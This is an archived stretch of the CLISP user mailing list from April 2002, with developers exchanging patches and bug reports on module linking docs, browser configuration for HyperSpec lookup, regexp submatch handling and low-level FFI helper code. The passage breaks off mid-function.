1.0 Content-Type: multipart/mixed; boundary="tKW2IUtsqtDRztdT" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Apr 11, 2002 at 10:16:49AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 11 09:44:44 2002 X-Original-Date: Thu, 11 Apr 2002 18:29:23 +0200 --tKW2IUtsqtDRztdT Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, Apr 11, 2002 at 10:16:49AM -0400, Sam Steingold wrote: > > * In message <20020410222327.A126@localhost.localdomain> > > * Honorable Peter Wood writes: > > > > Here's the patch. > > the patch does not apply cleanly. > could you please send a unified context diff? > (put 'diff -uwb' into your ~/.cvsrc) > > thanks. Sorry. I downloaded impext.xml and did: diff -uwb impext.xml impext.new2.xml > newpatch.patch I hope that fixes it. Regards, Peter --tKW2IUtsqtDRztdT Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="newpatch.patch" --- impext.xml Thu Apr 11 18:27:25 2002 +++ impext.new2.xml Wed Apr 10 22:11:41 2002 @@ -1855,6 +1855,12 @@ belonging to a new &linkset;. This variable is usually used for defining Lisp packages which must be present when the new &c-file; files are initialized. + +This variable is obligatory when the +new module contains a 'def-call-in' form, for obscure reasons, +internal to Clisp. This requirement may be removed in the future. +For an example of usage, see example 'call-in' below. + @@ -2841,7 +2847,10 @@ $ cc -O -c sort1.c $ cd sort $ ln -s ../sort1.o sort1.o +Create a file "package.lisp" containing the form (defpackage +"FFI-TEST" (:use "LISP" "FFI")) Add sort1.o to NEW_LIBS and NEW_FILES in link.sh. +Add a line: TO_PRELOAD='package.lisp' in link.sh $ cd .. $ base/lisp.run -M base/lispinit.mem -c sort2.lisp sorttest.lisp $ clisp-link add-module-set sort base base+sort --tKW2IUtsqtDRztdT-- From lin8080@freenet.de Thu Apr 11 17:48:23 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vpEj-00050s-00 for ; Thu, 11 Apr 2002 17:48:21 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #4) id 16vpEg-0000cP-00 for clisp-list@lists.sourceforge.net; Fri, 12 Apr 2002 02:48:18 +0200 Received: from b79a6.pppool.de ([213.7.121.166] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #4) id 16vpEf-0000yp-00 for clisp-list@lists.sourceforge.net; Fri, 12 Apr 2002 02:48:17 +0200 Message-ID: <3CB63AA9.848D6E93@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Subject: [clisp-list] uniformative debugger w.r.t restarts (inconsistency) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 11 17:49:02 2002 X-Original-Date: Fri, 12 Apr 2002 03:38:49 +0200 Betreff: [clisp-list] uniformative debugger w.r.t. restarts (inconsistency) Datum: Thu, 11 Apr 2002 23:40:51 +0200 Von: lin8080 An: "clisp-list@lists.sourceforge.net" Von: "Hoehle, Joerg-Cyril" An: clisp-list@lists.sourceforge.net Hi, I found the help of the debugger w.r.t. restarts to be misleading: 2. Break [8]> (clhs 'car) ** - Continuable Error SYSTEM::CLISP-DATA-FILE: file #P"H:\\sspace\\src\\clisp-2.28\\data\\clhs.txt" does not exist - adjust *LIB-DIRECTORY* If you continue (by typing 'continue'): You may input a new value. The following restarts are available, too: R1 = You may input a new value. The naive user now asks: "How to invoke that restart?" ---------------------------------------------- Hallo When I do the (clhs 'car) command, it returns : [28]> (clhs 'car) ;; Reading `C:\clisp\data\clhs.txt' [45,476 bytes]...done [0.61 sec] BROWSE-URL: no browser specified; please point your browser at --> NIL [29]> As a naive user I ask now: How can I invoke the browser ? (netscape 4.7 on win98) But Wow. It is frustrating, to know that there is a command, but to not know, where to find documents. Also I found out how to get a copy from the cl-dos-box :) so: [32]> (clhs 'browser) *** - No HyperSpec doc for `BROWSER' 1. Break [33]> abort stefan From ampy@ich.dvo.ru Thu Apr 11 18:41:21 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vq3p-0005mU-00 for ; Thu, 11 Apr 2002 18:41:10 -0700 Received: (qmail 18068 invoked from network); 12 Apr 2002 01:40:39 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 12 Apr 2002 01:40:39 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Fri, 12 Apr 2002 12:39:52 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1903956609.20020412123951@ich.dvo.ru> To: lin8080 CC: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] clhs In-reply-To: <3CB63AA9.848D6E93@freenet.de> References: <3CB63AA9.848D6E93@freenet.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 11 18:42:02 2002 X-Original-Date: Fri, 12 Apr 2002 12:39:51 +1000 Hello, lin8080, Friday, April 12, 2002, 11:38:49 AM, you wrote: lin8080> As a naive user I ask now: How can I invoke the browser ? lin8080> (netscape 4.7 on win98) Naive users should use 'apropos'. See *browser* and *browsers*. That's open an IE (but page doesn't open anyway - another bug...) (push '(:IE "C:\Program Files\Plus!\Microsoft Internet\IEXPLORE.EXE" "~A") *browsers*) (setf *browser* :IE) (clhs 'apropos) -- Best regards, Arseny From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 12 01:38:25 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vwZa-0002M2-00 for ; Fri, 12 Apr 2002 01:38:22 -0700 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 12 Apr 2002 10:36:39 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2Y73L4SN>; Fri, 12 Apr 2002 10:37:56 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] ext:clhs & (apropos "browse") and customization bug & call for co de snippet (win32 registry->browser) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 12 01:40:03 2002 X-Original-Date: Fri, 12 Apr 2002 09:58:44 +0200 Stefan X wrote: > But Wow. It is frustrating, to know that there is a command, > but to not know, where to find documents. The first place to look for is the CLISP implementation notes. It says: "ext:clhs. [Common Lisp HyperSpec] access is provided via (ext:clhs symbol &KEY :browser) function, which uses your web browser. browser should be a valid keyword in the custom:*browsers* alist." > [32]> (clhs 'browser) > *** - No HyperSpec doc for `BROWSER' You should know that CLHS is the Common Lisp (ANSI standard) Hyperspec. As such, you'll find nothing there about CLISP specific extensions. Follows a bug report: impnotes mentions custom:*browsers* (see above text), however REGEXP[79]> custom:*browsers* *** - READ from # #>: # has no external symbol with name "*BROWSERS*" 1. Break REGEXP[80]> (apropos "browse") EXT:*BROWSER* variable EXT:*BROWSERS* variable CUSTOM:*INSPECT-BROWSER* variable EXT:BROWSE-URL function EXT::BROWSE-URL-1 EXT::BROWSE-URL-2 EXT::BROWSE-URL-3 :BROWSER constant SYSTEM::BROWSER *BROWSERS* is not reexported to the package CUSTOM. Follows small gripes: 1) the *browsers* list in file src/clhs.lisp is biased towards UNIX. '((:netscape "netscape" "-remote" "openURL(~a,new-window)") (:konqueror "kfmclient" "openURL" "~a") (:lynx "xterm" "-e" "lynx" "~a") (:w3m "xterm" "-e" "w3m" "~a") (:mmm "mmm" "-external" "~a") (:mosaic "xmosaic" "~a") (:emacs-w3 "gnudoit" "-q" "(w3-fetch \"~a\")"))) It doesn't provide any reasonable default for any other system. Furthermore, the elements in the alist are not made conditional upon #+UNIX. Where can one expect "netscape -remote xyz" to work? 2) even the code in browse-url only works on UNIX (or a simulator). (run-program (car command) :arguments args :wait nil) :WAIT nil (appending a "&" to the command line) only works in a UNIX shell. We had a run-program topic here in the list a few weeks ago. My opinion: starting a program is highly dependent on OS and user configuration. A hook should be provided for this purpose, not a hard coded run-program with non-standard keywords. I seem to remember there is already a similar hook somewhere in CLISP, possibly in one of the inspector packages? (or was that in CMUCL?) The easy yet satisfactory solution may be to add a final "&" :arguments for every UNIX line, when the programs don't detach by themselves anyway (netscape -remote?), e.g. (:mosaic "xmosaic" "~a" "&") (:emacs-w3 "gnudoit" ...) ; don't add "&"! 3) defvar *browsers* should include a documentation string about the ~A format trick. Here's what I found out for my installation of of M$-Windows-2000: (setq ext:*browsers* '(;; Sadly, location of iexplore.exe depends on MS-Windows-95/98/NT/2000/xy/z #+win32(:IE "C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE" "~a") ;; PROGRA~1 works with "Program Files", "Programme" and hopefully more #+win32(:netscape "C:\\PROGRA~1\\Netscape\\Communicator\\Program\\netscape.exe" "-browser" "~a") ;; Netscape will detach (run asynchronously) by itself, IE does not. #+win32(:emacs-w3 "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnudoit.exe" "-q" "(w3-fetch \"~a\")") ;; gnuclient/gnudoit are semi-aynchronous #+win32(:emacs "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnuclient.exe" "~a") )) However, the list does not work with the :WAIT nil thing still in clhs.lisp:BROWSE-URL More portable code would query the registry for the application associated with ".html" or ".htm"). Who wants to write that? (:default ... sys::registry or new dir-key code ...) (setq *browser* :default) 4) ext:*browser[s]* (or custom:*) should be mentioned in config.lisp That's the file that users are supposed to look at. (not clhs.lisp) BTW, what's the final word on *lib-directory*, clisp-data-file and the data/ subdirectory? data/ or not data/ subdirectory? Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 12 01:55:28 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vwq5-0006oa-00 for ; Fri, 12 Apr 2002 01:55:26 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 12 Apr 2002 10:52:14 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57A268>; Fri, 12 Apr 2002 10:53:30 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] clhs -> browse-url Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 12 01:56:12 2002 X-Original-Date: Fri, 12 Apr 2002 10:53:30 +0200 Arseny Slobodjuck said: > That's open an IE (but page doesn't open anyway - another bug...) I suggested: >The easy yet satisfactory solution may be to add a final "&" >:arguments for every UNIX line, when the programs don't detach Could people please test the following: A. browse-url ;; cannot have portable :wait nil argument to run-program (defun browse-url (url &key (browser *browser*) (out *standard-output*)) "Run the browser (a keyword in `*browsers*' or a list) on the URL." (let* ((command (etypecase browser (list browser) (symbol (or (cdr (assoc browser *browsers* :test #'eq)) (error "unknown browser: `~s' (must be a key in `~s')" browser '*browsers*))))) (args (mapcar (lambda (arg) (format nil arg url)) (cdr command)))) (cond (command (when out (format out "~&;; running [~s~{ ~s~}]..." (car command) args) (force-output (if (eq out t) *standard-output* out))) (run-program (car command) :arguments args) ; :wait nil (when out (format out "done~%"))) ((format t "~s: no browser specified; please point your browser at --> ~%" 'browse-url url))))) ;(browse-url "http://clisp.cons.org/impnotes/") B. *browsers* on UNIX: extra "&" (defvar *browsers* ; alist of browsers & commands '(#+UNIX(:netscape "netscape" "-remote" "openURL(~a,new-window)" "&") #+UNIX(:konqueror "kfmclient" "openURL" "~a" "&") (:lynx "xterm" "-e" "lynx" "~a" #+UNIX "&") (:w3m "xterm" "-e" "w3m" "~a" #+UNIX "&") (:mmm "mmm" "-external" "~a" #+UNIX "&") #+UNIX(:mosaic "xmosaic" "~a" "&") (:emacs-w3 "gnudoit" "-q" "(w3-fetch \"~a\")"))) Thanks, Jorg Hohle. From samuel.steingold@verizon.net Fri Apr 12 07:20:01 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16w1u7-00043Z-00 for ; Fri, 12 Apr 2002 07:19:55 -0700 Received: from gnu.org ([151.203.48.85]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020412141953.WUCQ18349.out009.verizon.net@gnu.org>; Fri, 12 Apr 2002 09:19:53 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ext:clhs & (apropos "browse") and customization bug & call for co de snippet (win32 registry->browser) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 67 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 12 07:21:51 2002 X-Original-Date: 12 Apr 2002 10:19:55 -0400 > * In message > * On the subject of "[clisp-list] ext:clhs & (apropos "browse") and customization bug & call for co de snippet (win32 registry->browser)" > * Sent on Fri, 12 Apr 2002 09:58:44 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Follows a bug report: > *BROWSERS* is not reexported to the package CUSTOM. fixed, thanks! > Follows small gripes: > 1) the *browsers* list in file src/clhs.lisp is biased towards UNIX. > '((:netscape "netscape" "-remote" "openURL(~a,new-window)") > (:konqueror "kfmclient" "openURL" "~a") > (:lynx "xterm" "-e" "lynx" "~a") > (:w3m "xterm" "-e" "w3m" "~a") > (:mmm "mmm" "-external" "~a") > (:mosaic "xmosaic" "~a") > (:emacs-w3 "gnudoit" "-q" "(w3-fetch \"~a\")"))) > It doesn't provide any reasonable default for any other > system. Furthermore, the elements in the alist are not made > conditional upon #+UNIX. the notion of system default effectively exists only on KDE, GNOME and win32. > Where can one expect "netscape -remote xyz" to work? everywhere. > 2) even the code in browse-url only works on UNIX (or a simulator). > (run-program (car command) :arguments args :wait nil) > :WAIT nil (appending a "&" to the command line) only works in a UNIX shell. > We had a run-program topic here in the list a few weeks ago. yes, actually, I still want to clean up this mess. > More portable code would query the registry for the application > associated with ".html" or ".htm"). Who wants to write that? > (:default ... sys::registry or new dir-key code ...) > (setq *browser* :default) if dir-key is made into a module, we will have to stick to sys::registry which looks only under one root. is this browser setting there? I don't have a w32 box to check. actually, this is not even necessary. IIUC, if you tell w32 to "run" an HTML file, it will start a browser. (cf. Emacs `w32-shell-execute'). > 4) ext:*browser[s]* (or custom:*) should be mentioned in config.lisp > That's the file that users are supposed to look at. (not clhs.lisp) done. > BTW, what's the final word on *lib-directory*, clisp-data-file > and the data/ subdirectory? > data/ or not data/ subdirectory? it's `data' on all platforms. I thought I did that already! (2002-02-26) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Your mouse has moved - WinNT has to be restarted for this to take effect. From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 12 08:05:11 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16w2bs-0004Ql-00 for ; Fri, 12 Apr 2002 08:05:09 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 12 Apr 2002 17:03:41 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57A7AF>; Fri, 12 Apr 2002 17:04:59 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C1E233.68500A50" Subject: [clisp-list] regexp-exec filters too much Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 12 08:06:07 2002 X-Original-Date: Fri, 12 Apr 2002 17:04:56 +0200 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C1E233.68500A50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, regexp-exec fails to correctly handle results of ()-grouping in regular expressions, as in e.g.: b\(o\([hi]\)\|h\([a-z]\)\). This affects OR (i.e. optional) groups. 2 Testcases (in .tst format): (regexp:match-end (nth-value 2 (regexp:match "\\(/[a-z]*\\)*\\([a-z]\\+\\)" "foo#bar") )) 3 The values returned by match should be: #S(REGMATCH_T :RM_SO 0 :RM_EO 3) ; NIL ; <- filtered (-1,-1): no path #S(REGMATCH_T :RM_SO 0 :RM_EO 3) But not #S(REGMATCH_T :RM_SO 0 :RM_EO 3) ; #S(REGMATCH_T :RM_SO 0 :RM_EO 3) ; ... !!! as the positioning of groups, as documented by regexp, is broken. (regexp:match-end (nth-value 2 (regexp:match "\\(/[a-z]*\\)*\\([a-z]\\+\\)" "/path/to/foo#bar") )) 12 The returned values should be: #S(REGMATCH_T :RM_SO 0 :RM_EO 12) ; #S(REGMATCH_T :RM_SO 8 :RM_EO 11) ; #S(REGMATCH_T :RM_SO 11 :RM_EO 12) BTW, is it normal that the + must be escaped? When reformatting the result array, regexp-exec contains a line: (delete-if #'minusp matches :key #'match-start))) This is buggy, as it doesn't handle OR (or optional) expressions = correctly. I believe the intent was to remove *trailing* (-1;-1) pairs left from the probably too large array that holds the results (always NUM-MATCHES =3D10 elements). However, even doing this is buggy, as without parsing the regex, there's no way telling how many parentheses groups there are and so how many array elements will be needed. Consider the pattern b\(ar\)*g: ;(rtest2 "b\\(ar\\)*g" "abg") 0 ; #(#S(REGEXP::REGMATCH_T :RM_SO 1 :RM_EO 3) #S(REGEXP::REGMATCH_T :RM_SO -1 :RM_EO -1) ;<- normal, * matched = nothing #S(REGEXP::REGMATCH_T :RM_SO -1 :RM_EO -1) ;=20 #S... ;(rtest "b\\(ar\\)*g" "abg") #S(REGEXP::REGMATCH_T :RM_SO 1 :RM_EO 3) <- missing empty match indication as NTH-VALUE 1 The interface doesn't tell, but 2 of the array slots were needed. Actually, the C interface can give the number of (). That's the re_nsub = slot. A 100% solution would have the FFI code call regexec with a variable size array instead of being able to handle only at most 10 entries (as typical for ancient C programming). This is not yet possible in CLISP. The number of arguments would be determined by the structure returned from regcomp() (or an extra FFI call). Instead of having a fixed size (def-c-call-out regexec (:arguments [...] (nmatch size_t) (pmatch (c-ptr (c-array regmatch_t #.num-matches)) :out) ... ) (:return-type int)) We'd write (nmatch size_t) (pmatch (c-ptr (c-array regmatch_t is_size(nmatch))) :out) and call via (regexec cpattern (cpattern->nsub cpattern)) -> array of size nsub I don't know if variable size arrays will ever be implemented for the = FFI. That's "Worse is better" at work! The bug has been there since day 1 of the regexp module (1996?), which shows how much some regex functionality is used. Proposed fix: a) return positional NIL argument when submatch was not found b) and always return NUM-MATCHES (10) values as interface doesn't tell how many () groups the regex actually contains, b2) or rely on multiple-value-bind NIL behaviour and filter trailing NIL, so as not to always stupidly return 10 VALUES: if the programmer requests a value of index larger than retured, s/he will get NIL as well. b3) "100% better solution": revisit interface so as to not stupidly impose NUM-MATCH=3D10 but obtain number of actual groups via regexp-compile. Be dynamic! c) what should be the behaviour of MATCH-STRING be on a failed optional match? c1) leave code as is, don't call it on NIL match value. c2) or return the empty string ""? Fix a+b2) is appended. c1 means status quo. Regards, J=F6rg H=F6hle (in-package "REGEXP") (defun regexp-exec (compiled-pattern string &key (start 0) (end nil)) (assert (stringp string) (string) "~s: the second argument must be a string, not ~s" 'regexp-exec string) (let* ((len (length string)) (end (cond ((null end) len) ((>=3D end len) len) ((minusp end) (+ len end)) (t end))) ;; Prepare the string. (string (if (and (eql start 0) (eql end len)) string (make-array (- end start) :element-type 'character :displaced-to string :displaced-index-offset start)))) (declare (string string)) (multiple-value-bind (errcode matches) (regexec compiled-pattern string #.num-matches 0) ;; Compute return values. (if (zerop errcode) (values-list ; the first value will be non-NIL (do ((n (position-if-not #'minusp matches :key #'match-start = :from-end t) (1- n)) (result '())) ((minusp n) result) (let ((match (svref matches n))) (push (cond ((=3D (match-start match) -1) nil) ( t (unless (eql start 0) (incf (match-start match) start) (incf (match-end match) start)) match)) result)))) nil)))) ------_=_NextPart_000_01C1E233.68500A50 Content-Type: application/octet-stream; name="regexp-group-2.28.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="regexp-group-2.28.patch" ChangeLog=0A= now correct positions for ()-group submatches=0A= =0A= *** orig/regexp.lisp Sat Mar 2 20:23:32 2002=0A= --- modules/regexp/regexp.lisp Fri Apr 12 16:52:32 2002=0A= ***************=0A= *** 227,239 ****=0A= ;; Compute return values.=0A= (if (zerop errcode)=0A= (values-list ; the first value will be non-NIL=0A= ! (map 'list (if (eql start 0)=0A= ! #'identity=0A= ! (lambda (match)=0A= ! (incf (match-start match) start)=0A= ! (incf (match-end match) start)=0A= ! match))=0A= ! (delete-if #'minusp matches :key #'match-start)))=0A= nil))))=0A= =0A= ;; The following implementation of MATCH compiles the pattern=0A= --- 227,242 ----=0A= ;; Compute return values.=0A= (if (zerop errcode)=0A= (values-list ; the first value will be non-NIL=0A= ! (do ((n (position-if-not #'minusp matches :key #'match-start = :from-end t) (1- n))=0A= ! (result '()))=0A= ! ((minusp n) result)=0A= ! (let ((match (svref matches n)))=0A= ! (push (cond ((=3D (match-start match) -1) nil)=0A= ! ( t (unless (eql start 0)=0A= ! (incf (match-start match) start)=0A= ! (incf (match-end match) start))=0A= ! match))=0A= ! result))))=0A= nil))))=0A= =0A= ;; The following implementation of MATCH compiles the pattern=0A= ------_=_NextPart_000_01C1E233.68500A50-- From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 12 08:36:25 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16w366-0002C2-00 for ; Fri, 12 Apr 2002 08:36:22 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 12 Apr 2002 17:34:54 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57A7WS>; Fri, 12 Apr 2002 17:36:12 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] my FFI Lisp hacks toolbox #1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 12 08:38:54 2002 X-Original-Date: Fri, 12 Apr 2002 17:36:10 +0200 Hi, in order for people to experiment with many unexplored areas of the = CLISP FFI, I thought it would be useful to release my FFI hacks file = #1. I hope to get some feedback. This would be nice for the future CLISP = FFI. + foreign-address (c-pointer) <-> integer conversion + malloc + foreign-funcall using dynamic (variable) function type definition -> entry point to variable sized arrays and many more The idea is to use FOREIGN-VARIABLE as typed pointer into foreign = space. Then, FFI::%OFFSET, FFI::%DEREF, FFI::%SLOT, FFI::%SIZEOF, = FFI::FOREIGN-VALUE, FFI::SET-FOREIGN-VALUE etc. become usable and extremely valuable. FFI::PARSE-C-TYPE is required almost everywhere. This maps the USER = visible and well-documented foreign type (list based) to the internal one = (vector based). Don't be scared by the ::% prefix to all these functions. They are your = friends now! That shows part of the functionality. Naming and nice macros on top of these etc. will be addressed in some future. The dynload module or a tiny module with my clisp_ffi_redirector module (see DEF-C-VARIABLE below) is required to get at the initial foreign variable and function. Enjoy, J=F6rg H=F6hle. ;; Save your life with the CLISP FFI ;; J=F6rg H=F6hle, March 2002 ;; Most of this ought to become part of CLISP (rewritten as LISPFUN), ;; once I provide nice top-level interfaces on top of this. (in-package "USER") ;; You all got these for free with the dynload module! (eval-when (eval load) (ffi:def-c-call-out c-self (:name "C_self") (:arguments (obj ffi:int)) (:return-type ffi:int)) (ffi:def-c-var clisp-ffi-indirector (:type ffi:c-pointer) (:name "clisp_ffi_indirector")) ) (defun describe-thing (o) (dotimes (i (sys::%record-length o) o) (format t "~&~D. ~S~%" i (sys::%record-ref o i)))) (setq f0 (or (GET 'CLISP-FFI-INDIRECTOR 'FFI:FOREIGN-VARIABLE) (error "clisp_ffi_indirector yet undeclared (unavailable?)"))) (setq f0-uint (load-time-value (ffi::%cast f0 (ffi::parse-c-type 'ffi:uint)))) (setq f0-c-pointer (load-time-value (ffi::%cast f0 (ffi::parse-c-type 'ffi:c-pointer)))) ;; ffi::set-foreign-value is one key to convert_to_foreign ;; ffi::foreign-value is one key to convert_from_foreign (defun foreign-address-unsigned (address) ; FOREIGN-ADDRESS-VALUE is a misnomer (bad abstraction level) ; since CLtL2, the value of an atom is itself. (ffi::foreign-address-value address)) ; is in CLISP-2.28 ;(foreign-address-unsigned #'c-self) (defun unsigned-foreign-address (n) (ffi::set-foreign-value f0-uint n) (ffi::foreign-value f0-c-pointer)) ;(unsigned-foreign-address 3) ;;;###export (defun foreign-address (foreign) (etypecase foreign (ffi:foreign-address foreign) ((or ffi:foreign-variable ffi:foreign-function) (sys::%record-ref foreign 1)))) ;(foreign-address #'c-self) ;(foreign-address f0) ;;;###export (defun update-foreign-address (foreign new-address) (check-type foreign (or ffi:foreign-function ffi:foreign-variable)) (check-type new-address ffi:foreign-address) (setf (sys::%record-ref foreign 1) new-address)) ;; already part of DYNLOAD module ;;;###export (defun foreign-address-function (name address ctype) (check-type address ffi:foreign-address) (check-type name (or null string)) (assert (and (simple-vector-p ctype) (=3D (length ctype) 4) ; foreign.d does 1 more check (eq (svref ctype 0) 'ffi:c-function))) (ffi::set-foreign-value f0-c-pointer address) (let ((ff (ffi::foreign-value (ffi::%cast f0 ctype)))) (setf (sys::%record-ref ff 0) name) (update-foreign-address ff address) ; restore EQ address (needed = for ff) ff)) (defun fcast (ffunction ctype) (check-type ffunction ffi:foreign-function) (foreign-address-function (sys::%record-ref ffunction 0) ; name (foreign-address ffunction) ctype)) ;(fcast #'c-self (ffi::parse-c-type '(ffi:c-function (:arguments (obj = ffi:c-string)) (:return-type ffi:c-string)))) ;; gross hack, *not* to become part of CLISP! (defun redefine-foreign-function (ffun ffi-type) ;;TODO check for incomplete type, e.g. (ffi:c-function) (unless ;; safety checks before hacking the internals ;; (0. c-name as string (possibly NIL?) ;; 1. foreign-address ;; 2. return type 3. argument types ;; 4. flags) (and (eq (type-of ffun) 'ffi:foreign-function) (=3D (sys::%record-length ffun) 5) (eq (type-of (sys::%record-ref ffun 1)) 'ffi:foreign-address) (integerp (sys::%record-ref ffun 4))) ; flags ;;TODO type program-error or so? (error "Not a foreign function: 